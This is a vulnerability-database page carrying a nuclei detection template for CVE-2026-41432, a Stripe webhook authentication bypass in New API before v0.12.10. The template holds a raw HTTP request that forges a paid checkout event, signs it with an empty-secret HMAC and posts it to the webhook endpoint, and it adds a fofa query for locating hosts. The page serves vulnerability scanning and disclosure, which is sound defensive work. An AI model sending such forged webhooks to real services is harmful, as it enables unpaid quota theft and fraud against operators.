Lucene search
+L

New API < v0.12.10 - Stripe Webhook Bypass

🗓️ 15 Aug 2026 02:21:45Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 4 Views

New API before v0.12.10 allows unauthenticated attackers to forge Stripe webhook events and credit arbitrary quota without payment.

Related
Refs
Code
id: CVE-2026-41432

info:
  name: New API < v0.12.10 - Stripe Webhook Bypass
  author: str4k3r
  severity: high
  description: |
    New API < v0.12.10 contains a broken authentication caused by unauthenticated attacker forging Stripe webhook events, letting attackers credit arbitrary quota without payment, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can credit arbitrary quota to their account without payment, causing financial and resource abuse.
  remediation: |
    Update to version 0.12.10 or later.
  reference:
    - https://github.com/advisories/GHSA-xff3-5c9p-2mr4
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41432
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
    cvss-score: 7.1
    cve-id: CVE-2026-41432
    epss-score: 0.00259
    epss-percentile: 0.17623
    cwe-id: CWE-345
  metadata:
    max-request: 1
    verified: true
    fofa-query: 'icon_hash=="-1398762159"'
  tags: cve,cve2026,new-api,stripe,webhook,auth-bypass

variables:
  timestamp: "{{unix_time()}}"
  event_body: '{"type":"checkout.session.completed","data":{"object":{"client_reference_id":"nuclei-probe","status":"complete","payment_status":"paid","customer":"cus_probe","amount_total":0,"currency":"usd"}}}'
  signature: '{{hmac("sha256", concat(timestamp, ".", event_body), "")}}'

http:
  - raw:
      - |-
        POST /api/stripe/webhook HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Stripe-Signature: t={{timestamp}},v1={{signature}}

        {{event_body}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(tolower(body), "webhook handled", "\"success\"", "\"status\":\"success\"")'
          - '!contains_any(tolower(body), "<html", "not found", "error", "forbidden", "unauthorized", "invalid signature")'
        condition: and
# digest: 490a00463044022058e917ad997f9ed044698745a9f307fc57f1cd38bc4ca85c3267ad78c58d51a702200b9f00c7120941d58969d5bcc75b9ccbf7e3c003ae2acd96c3ae5a76ae260921:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Aug 2026 20:25Current
8.8High risk
Vulners AI Score8.8
CVSS 3.17.1 - 8.2
EPSS0.00259
SSVC
4